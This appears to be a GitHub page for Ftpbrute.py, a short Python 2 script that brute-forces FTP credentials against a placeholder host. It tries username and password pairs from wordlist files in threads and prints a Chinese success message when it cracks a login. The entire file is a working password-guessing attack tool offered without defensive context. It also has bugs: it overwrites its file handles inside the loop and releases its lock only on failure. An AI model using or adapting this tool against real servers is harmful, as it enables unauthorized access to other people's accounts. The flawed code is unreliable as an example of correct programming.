-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathFtpbrute.py
50 lines (48 loc) · 1.4 KB
/
Ftpbrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/local/bin/ python
#-*- coding: UTF-8 -*-
__author__='J.W'
from ftplib import FTP
import ftplib
from threading import Thread
from threading import *
import sys
connection_lock = None
Stop = False
def Login(username,password):
global connection_lock
global Stop
host='xxxx'
port=21
ftp=FTP()
try:
ftp.connect(host,int(port))
ftp.login(username,password)
ftp.retrlines('LIST')
ftp.quit()
print '\n[+] 破解成功,用户名:' + username + ' 密码:' + password +'IP:'+ host
Stop = True
return True,'ftp password is '+username+':'+password
except ftplib.all_errors:
connection_lock.release()
pass
def main():
global connection_lock
maxConnections = 10
connection_lock = BoundedSemaphore(value = maxConnections)
print '>>>>>>>>>>>>破解主机:<<<<<<<<<<<<<<<'
user=open('user.txt','r')
pwd=open('pwd.txt','r')
for line_u in user:
for line_p in pwd:
if Stop:
sys.exit()
user=line_u.strip('\n')
pwd=line_p.strip('\n')
print '[-] testing: --' +user.strip()+'------' + pwd.strip()
connection_lock.acquire()
t=Thread(target=Login,args=(user.strip(),pwd.strip()))
t.start()
t.join()
print '[] Could not brute force FTP. '
if __name__ == '__main__':
main()